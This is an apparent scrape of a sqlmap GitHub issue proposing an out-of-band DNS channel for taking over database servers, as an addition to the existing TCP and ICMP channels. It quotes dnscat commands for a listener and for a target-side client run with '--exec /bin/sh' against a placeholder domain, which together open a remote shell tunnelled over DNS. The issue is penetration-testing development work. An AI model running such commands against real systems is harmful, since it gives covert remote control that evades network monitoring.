sqlmapproject / sqlmapproject/sqlmap
Out-of-band DNS channel for OS takeover
@bdamele is already working on this.
Since Jun 26, 2012.
- Dominant language
- Python
- Stars
- 38.5k
- Forks
- 6.4k
- Avg merge
- 3d 3h
- Merged PRs (30d)
- 1
Description
We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.
DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.
Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen
Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"
Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Assessment
This issue has not been assessed yet.